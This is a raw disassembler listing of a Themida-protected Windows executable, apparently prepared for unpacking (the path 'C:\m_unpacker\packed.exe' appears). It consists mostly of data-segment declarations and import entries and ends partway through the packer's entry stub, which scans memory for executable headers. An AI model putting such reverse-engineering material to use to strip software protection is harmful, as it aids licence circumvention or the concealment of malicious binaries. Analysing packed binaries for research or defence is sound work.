dword_4CB674 dd 0 ; DATA XREF: sub_409B13+3Ew ; sub_409B13+BAr ... dword_4CB678 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B13+298w ... dword_4CB67C dd 0 ; DATA XREF: sub_409B13+651w ; sub_409B13+78Cr ... dword_4CB680 dd 0 ; DATA XREF: sub_409B13+637w ; sub_409B13+77Cr ... dword_4CB684 dd 0 ; DATA XREF: sub_401ACD+73BAr ; sub_409B13+C92w dword_4CB688 dd 0 ; DATA XREF: sub_409B13+879w ; ___:004168D6r ... dword_4CB68C dd 0 ; DATA XREF: sub_409B13+112w dword_4CB690 dd 0 ; DATA XREF: sub_409B13+BE7w ; sub_409B13+C22r dword_4CB694 dd 0 ; DATA XREF: sub_401ACD+2FE5r ; sub_401ACD+5F99r ... dword_4CB698 dd 0 ; DATA XREF: sub_409B13+459w ; sub_409B13+4BBr ... dword_4CB69C dd 0 ; DATA XREF: sub_409B13+49Aw ; sub_409B13+4E3r ... dword_4CB6A0 dd 0 ; DATA XREF: sub_409B13+466w ; sub_409B13+4C3r ... dword_4CB6A4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D4r ... dword_4CB6A8 dd 0 ; DATA XREF: sub_409B13+1A6w ; sub_409B13+1E2r ... dword_4CB6AC dd 0 ; DATA XREF: sub_409B13+9F2w ; sub_409B13+A53r ... dword_4CB6B0 dd 0 ; DATA XREF: sub_409B13+158w ; sub_409B13+1ADr ... dword_4CB6B4 dd 0 ; DATA XREF: sub_409B13+8Cw ; sub_409B13+E2r ... dword_4CB6B8 dd 0 ; DATA XREF: sub_409B13+610w ; sub_409B13+764r ... dword_4CB6BC dd 0 ; DATA XREF: sub_409B13+B43w ; sub_409B13+B5Fr dword_4CB6C0 dd 0 ; DATA XREF: sub_409B13+33Aw ; sub_419652+55r dword_4CB6C4 dd 0 ; DATA XREF: sub_409B13+27Ew ; sub_409B13+2D3r ... dword_4CB6C8 dd 0 ; DATA XREF: sub_409B13+BAAw dword_4CB6CC dd 0 ; DATA XREF: sub_409B13+AECw ; sub_40AB32+CEr dword_4CB6D0 dd 0 ; DATA XREF: sub_409B13+ADFw ; sub_409B13+AE6r ... dword_4CB6D4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5133r ... dword_4CB6D8 dd 0 ; DATA XREF: sub_401ACD+5125r ; sub_401ACD+7981r ... dword_4CB6DC dd 0 ; DATA XREF: sub_409B13+BF4w ; sub_409B13+C2Fr dword_4CB6E0 dd 0 ; DATA XREF: sub_401ACD+1E57r ; sub_401ACD+5AEEr ... dword_4CB6E4 dd 0 ; DATA XREF: sub_409B13+9B1w ; sub_409B13+A2Br ... dword_4CB6E8 dd 0 ; DATA XREF: sub_409B13+65Ew ; sub_409B13+794r ... dword_4CB6EC dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB6F0 dd 0 ; DATA XREF: sub_409B13+59Bw ; sub_409B13+70Cr ... dword_4CB6F4 dd 0 ; DATA XREF: sub_409B13+B36w ; sub_409B13+B57r dword_4CB6F8 dd 0 ; DATA XREF: sub_409B13+540w ; sub_409B13+6C4r ... dword_4CB6FC dd 0 ; DATA XREF: sub_409B13+B29w ; sub_409B13+B4Ar dword_4CB700 dd 0 ; DATA XREF: ___:00401273r ; sub_409B13+31w ... dword_4CB704 dd 0 ; DATA XREF: sub_409B13+17Fw ; sub_409B13+1CAr ... dd 0 dword_4CB70C dd 0 ; DATA XREF: sub_409B13+927w ; sub_409B13+93Br dword_4CB710 dd 0 ; DATA XREF: sub_409B13+99w ; sub_409B13+EAr ... dword_4CB714 dd 0 ; DATA XREF: sub_409B13:loc_409C11w ; sub_409B13+12Bw ... dword_4CB718 dd 0 ; DATA XREF: sub_409B13+126w ; sub_40A7CF+1Cr dword_4CB71C dd 0 ; DATA XREF: sub_409B13:loc_409D01w ; sub_409B13:loc_409D68w ... dword_4CB720 dd 0 ; DATA XREF: sub_409B13+250w ; sub_40A7CF+50r dword_4CB724 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4568r ... dword_4CB728 dd 0 ; DATA XREF: sub_409B13+41Ew ; sub_40A7CF+84r dword_4CB72C dd 0 ; DATA XREF: sub_409B13:loc_40A017w ; sub_40A7CF:loc_40A87Fr dword_4CB730 dd 0 ; DATA XREF: sub_409B13+4FFw ; sub_40A7CF+B8r dword_4CB734 dd 0 ; DATA XREF: sub_409B13:loc_40A2E8w ; sub_40A7CF:loc_40A8B3r dword_4CB738 dd 0 ; DATA XREF: sub_409B13+7D0w ; sub_40A7CF+ECr dword_4CB73C dd 0 ; DATA XREF: sub_409B13:loc_40A3D3w ; sub_409B13+8EFw ... dword_4CB740 dd 0 ; DATA XREF: sub_409B13+8EAw ; sub_40A7CF+120r dword_4CB744 dd 0 ; DATA XREF: sub_401ACD:loc_406F18r ; sub_409B13:loc_40A467w ... dword_4CB748 dd 0 ; DATA XREF: sub_409B13+94Fw ; sub_40A7CF+154r dword_4CB74C dd 0 ; DATA XREF: sub_401ACD+4570r ; sub_409B13:loc_40A583w ... dword_4CB750 dd 0 ; DATA XREF: sub_409B13+A6Bw ; sub_40A7CF+188r dword_4CB754 dd 0 ; DATA XREF: sub_409B13:loc_40A5CDw ; sub_40A7CF:loc_40A983r dword_4CB758 dd 0 ; DATA XREF: sub_409B13+AB5w ; sub_40A7CF+1BCr dword_4CB75C dd 0 ; DATA XREF: sub_409B13:loc_40A617w ; sub_40A7CF:loc_40A9B7r dword_4CB760 dd 0 ; DATA XREF: sub_409B13+AFFw ; sub_40A7CF+1F0r dword_4CB764 dd 0 ; DATA XREF: sub_409B13:loc_40A68Bw ; sub_40A7CF:loc_40A9EBr dword_4CB768 dd 0 ; DATA XREF: sub_409B13+B73w ; sub_40A7CF+224r dword_4CB76C dd 0 ; DATA XREF: sub_409B13:loc_40A6D5w ; sub_40A7CF:loc_40AA1Fr dword_4CB770 dd 0 ; DATA XREF: sub_409B13+BBDw ; sub_40A7CF+258r dword_4CB774 dd 0 ; DATA XREF: sub_409B13:loc_40A773w ; sub_40A7CF:loc_40AA53r dword_4CB778 dd 0 ; DATA XREF: sub_409B13+C5Bw ; sub_40A7CF+28Cr dword_4CB77C dd 0 ; DATA XREF: sub_409B13:loc_40A7BDw ; sub_40A7CF:loc_40AA87r dword_4CB780 dd 0 ; DATA XREF: sub_409B13+CA5w ; sub_40A7CF+2C0r dword_4CB784 dd 7 dup(0) ; DATA XREF: sub_40AC10+32o dword_4CB7A0 dd 0 ; DATA XREF: sub_40BA57+18r ; sub_40BFEC+92w ... dword_4CB7A4 dd 0 ; DATA XREF: sub_40C125+4Dr ; sub_40C125+2F1w ... dd 7FEh dup(0) dword_4CD7A0 dd 6 dup(0) ; DATA XREF: sub_40C125+D2o ; sub_40C125+13Bo ... dword_4CD7B8 dd 0 ; DATA XREF: sub_40BACE+2C4w ; sub_40BACE+348o dword_4CD7BC dd 0 ; DATA XREF: sub_40BACE+33Ew ; sub_40BACE+35Ar dword_4CD7C0 dd 0 ; DATA XREF: sub_40BACE+2CFw dword_4CD7C4 dd 0 ; DATA XREF: sub_40BACE+2B9w ; sub_40BACE:loc_40BDE3r dword_4CD7C8 dd 20h dup(0) ; DATA XREF: sub_40BACE+2E2o ; sub_40BACE+302o dword_4CD848 dd 0 ; DATA XREF: sub_40BACE+2D5w dword_4CD84C dd 0 ; DATA XREF: sub_40BACE+2EFw ; sub_40BACE+30Fw dword_4CD850 dd 0 ; DATA XREF: sub_40BACE:loc_40BE3Er align 8 dword_4CD858 dd 0 ; DATA XREF: sub_40BACE+82w ; sub_40BACE+101o dword_4CD85C dd 41h dup(0) ; DATA XREF: sub_40BACE+41o dword_4CD960 dd 41h dup(0) ; DATA XREF: sub_40BACE+69o dword_4CDA64 dd 0 ; DATA XREF: sub_40BACE+F7w ; sub_40BACE+113r dword_4CDA68 dd 0 ; DATA XREF: sub_40BACE+52w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACE+4Dw ; sub_40BACE+D4r dword_4CDA70 dd 20h dup(0) ; DATA XREF: sub_40BACE+9Ao ; sub_40BACE+BAo dword_4CDAF0 dd 0 ; DATA XREF: sub_40BACE+8Fw dword_4CDAF4 dd 0 ; DATA XREF: sub_40BACE+A7w ; sub_40BACE+C7w dword_4CDAF8 dd 0 ; DATA XREF: sub_40BACE:loc_40BBF7r align 10h dword_4CDB00 dd 0 ; DATA XREF: sub_40BACE+1A5w ; sub_40BACE+225o dword_4CDB04 dd 41h dup(0) ; DATA XREF: sub_40BACE+167o dword_4CDC08 dd 41h dup(0) ; DATA XREF: sub_40BACE+18Co dword_4CDD0C dd 0 ; DATA XREF: sub_40BACE+21Bw ; sub_40BACE+237r dword_4CDD10 dd 0 ; DATA XREF: sub_40BACE+17Aw dword_4CDD14 dd 0 ; DATA XREF: sub_40BACE+175w ; sub_40BACE+1F8r dword_4CDD18 dd 20h dup(0) ; DATA XREF: sub_40BACE+1BEo ; sub_40BACE+1DEo dword_4CDD98 dd 0 ; DATA XREF: sub_40BACE+1B1w dword_4CDD9C dd 0 ; DATA XREF: sub_40BACE+1CBw ; sub_40BACE+1EBw dword_4CDDA0 dd 0 ; DATA XREF: sub_40BACE:loc_40BD1Br align 8 dword_4CDDA8 dd 0 ; DATA XREF: sub_40BACE+417w ; sub_40BACE+470o dword_4CDDAC dd 0A2h dup(0) ; DATA XREF: sub_40BACE+405o dword_4CE034 dd 41h dup(0) ; DATA XREF: sub_40BACE+3CFo dword_4CE138 dd 0 ; DATA XREF: sub_40BACE+3FCw ; sub_40BACE+423r align 10h dword_4CE140 dd 0 ; DATA XREF: sub_40BACE+466w ; sub_40BACE+482r dword_4CE144 dd 0 ; DATA XREF: sub_40BACE+429w dword_4CE148 dd 0 ; DATA XREF: sub_40BACE+436w dword_4CE14C dd 0 ; DATA XREF: sub_40BACE+3F6w dd 0 dword_4CE154 dd 0 ; DATA XREF: sub_40BACE:loc_40BF66r dd 0 dword_4CE15C dd 0 ; DATA XREF: sub_40B71A+Er ; sub_40B71A+32r dword_4CE160 dd 0 ; DATA XREF: sub_40B71A+9r ; sub_40B71A+26r dword_4CE164 dd 82h dup(0) ; DATA XREF: sub_40C59C+8Do dword_4CE36C dd 2 dup(0) ; DATA XREF: sub_40CF05+68o dword_4CE374 dd 0 ; DATA XREF: sub_40D8A0+8w ; ___:0040DC6Fo dd 0 dword_4CE37C dd 2 dup(0) ; DATA XREF: ___:0040DBA5o dword_4CE384 dd 0 ; DATA XREF: ___:0040E4D8r dd 0 dd 0 dword_4CE390 dd 0 ; DATA XREF: ___:0040E4ABr dword_4CE394 dd 0 ; DATA XREF: ___:0040E48Dr ; ___:0040E4F6r dd 0 dword_4CE39C dd 0 ; DATA XREF: sub_40BACE+2AEr dd 0 dword_4CE3A4 dd 0 ; DATA XREF: sub_40B786+1Cr dword_4CE3A8 dd 0 ; DATA XREF: ___:0040EFE9w ; ___:0040F010r ... dd 3 dup(0) dword_4CE3B8 dd 0 ; DATA XREF: ___:00410906r align 10h dword_4CE3C0 dd 0 ; DATA XREF: sub_412352+4w ; sub_412352+9o dd 109h dup(0) dword_4CE7E8 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Fo ; sub_401ACD:loc_404AC5o dword_4CEE08 dd 0 ; DATA XREF: sub_401ACD+1A24w ; sub_401ACD+2F67r ... dd 11Ch dup(0) dword_4CF27C dd 1000h dup(0) ; DATA XREF: sub_4151AD+1Do ; sub_41524Do dword_4D327C dd 0 ; DATA XREF: sub_4151AD+13o ; sub_41524D+Eo ... dword_4D3280 dd 0 ; DATA XREF: sub_4155F8+Fr ; sub_4157F1+12r align 8 dword_4D3288 dd 0Eh dup(0) ; DATA XREF: sub_416923+Fo dword_4D32C0 dd 80h dup(0) ; DATA XREF: sub_4175EA+41o dword_4D34C0 dd 200h dup(0) ; DATA XREF: sub_416F1B+C7o ; sub_417276+DDo ... dword_4D3CC0 dd 124h dup(0) ; DATA XREF: sub_416F1B+D6o ; sub_417276+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437F28o dd 0DBh dup(0) dword_4D44C0 dd 0 ; DATA XREF: sub_416F1B+86w ; sub_4170ED+94r dword_4D44C4 dd 0 ; DATA XREF: sub_416F1B+A7w ; sub_417553+55r ... dword_4D44C8 dd 0 ; DATA XREF: sub_416F1B+A0w ; sub_4170ED+D6r ... dword_4D44CC dd 0 ; DATA XREF: sub_416F1B+79w ; sub_4170ED+35r ... dword_4D44D0 dd 80h dup(0) ; DATA XREF: sub_417553+5Eo dword_4D46D0 dd 0 ; DATA XREF: sub_416F1B+93w ; sub_4170ED+A2r align 8 dword_4D46D8 dd 0 ; DATA XREF: sub_416F1B+E7o ; sub_416F1B+103r ... dword_4D46DC dd 0 ; DATA XREF: sub_417276+17Bw ; sub_41741D+107w dword_4D46E0 dd 0 ; DATA XREF: sub_417276+180w ; sub_41741D+10Dw ... dword_4D46E4 dd 0 ; DATA XREF: sub_417276+159w ; sub_417553+4Fr dword_4D46E8 dd 0 ; DATA XREF: sub_4178BB+22w ; sub_4178BB:loc_417A40w ... dword_4D46EC dd 0 ; DATA XREF: sub_401ACD+3CC4o ; sub_417789+12o ... dd 0 dword_4D46F4 dd 0 ; DATA XREF: sub_4178BB+1Cr ; sub_417A60+3Ar dd 7Fh dup(0) dword_4D48F4 dd 0 ; DATA XREF: sub_4178BB+28r ; sub_417A60+4Aw dd 1944h dup(0) dword_4DAE08 dd 0 ; DATA XREF: sub_417A60+23o dword_4DAE0C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE2o ; sub_417789+3Co ... dword_4DB010 dd 17h dup(0) ; DATA XREF: sub_4187DE:loc_4188FBo ; sub_4187DE+131o ... dword_4DB06C dd 80h dup(0) ; DATA XREF: sub_419594+7Co ; sub_419594+A5o dword_4DB26C dd 0 ; DATA XREF: sub_418B59+45w ; sub_418B59+4Dr ... dword_4DB270 dd 17h dup(0) ; DATA XREF: sub_419460:loc_419582o ; sub_419460+12Do dword_4DB2CC dd 80h dup(0) ; DATA XREF: sub_418A99+4Co ; sub_418A99+7Eo ... byte_4DB4CC db 0 ; DATA XREF: sub_418B59+29r ; sub_418B59+34w align 10h dword_4DB4D0 dd 80h dup(0) ; DATA XREF: sub_418DB0+61o ; sub_418DB0+89o ... dword_4DB6D0 dd 81h dup(0) ; DATA XREF: sub_4186C2:loc_4186FAo ; sub_4186C2+5Bo dword_4DB8D4 dd 0 ; DATA XREF: sub_419A21:loc_419A42r ; sub_419B10+54r ... dword_4DB8D8 dd 0 ; DATA XREF: sub_419A21r ; sub_419B10+37r ... dword_4DB8DC dd 0 ; DATA XREF: sub_419A51+1Ar ; sub_419C65+83o dword_4DB8E0 dd 0 ; DATA XREF: sub_419A21:loc_419A35r ; sub_419C65+11Bw dword_4DB8E4 dd 0Dh dup(0) ; DATA XREF: sub_419B10+13o ; sub_419C65:loc_419DA2o dword_4DB918 dd 0 ; DATA XREF: sub_419B10+CDr ; sub_419B10+ECr ... align 10h dword_4DB920 dd 0Eh dup(0) ; DATA XREF: sub_41A88C+47o dword_4DB958 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB95C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB960 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB974 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB978 dd 2460B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB980 dd 2460B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB984 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB988 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB990 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB998 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB99C dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB9A0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB9A4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB9AC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB9B0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB9B8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB9BA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB9BE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB9C0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB9C2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB9C8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB9D0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB9D4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB9D8 dd 0 ; DATA XREF: sub_41F312r dword_4DB9DC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB9E0 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB9E4 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB9EC dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB9F0 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB9F4 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB9F8 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB9FC dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DBA00 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DBA04 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DBA08 dd 0 ; DATA XREF: sub_42255C+29r dword_4DBA0C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DBA14 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DBA24 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DBA2C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DBA30 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB990o align 10h dd 3Ah dup(0) dword_4DBB38 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DBB3C dd 0 ; DATA XREF: sub_423590+21r dword_4DBB40 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DBB44 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DBB48 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DBB50 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DBB52 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DBB54 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DBB70 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DBB74 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DBB78 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DBB7C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DBB80 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DBB88 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DBB90 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DBB94 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DBBD4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DBBD6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DBBD8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DBBDA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DBBDC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DBBDE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DBBE0 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DBBE2 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DBBE4 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DBBE8 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DBC28 dw 0 ; DATA XREF: sub_424A4A+46r word_4DBC2A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DBC2C dw 0 ; DATA XREF: sub_424A4A+67r word_4DBC2E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DBC30 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DBC32 dw 0 ; DATA XREF: sub_424A4A+55r word_4DBC34 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DBC36 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DBC38 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DBC3C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DBC40 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DBC44 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DBC48 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DBC4C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DBC50 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DBC54 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DBC58 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DBC5C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DBC60 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DBC68 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DBC6C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DBC70 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DBC74 db 0 ; DATA XREF: sub_40D879r sub_40D879+9w align 4 dword_4DBC78 dd 2461140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DBC80 dd 400h dup(0) ; DATA XREF: ___:off_43D0C8o ; ___:0043D0D0o dword_4DCC80 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DCCA0 dd 2460650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DCCA4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DCDA0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DCDA4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DCDB0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DCDBC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DCDC0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DCEC0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DCEC1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DCFC4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DCFC8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DCFCC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DCFD0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DCFD4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DCFD8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DCFDC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DCFE0 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DCFE4 dd 2460000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DCFE8 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DCFEC dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DCFF0 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DCFF4 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DCFF8 dd 2460758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DCFFC dd 2460758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000FA000 (1024000.) ; Section size in file : 000FA000 (1024000.) ; Offset to raw data for section: 000E0000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 4E0000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 353878CEh, 4CED4h, 54449h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00546A16 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00549F3F SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0054A1B5 SIZE 00000061 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 0, 4Eh, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:0043812Co and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 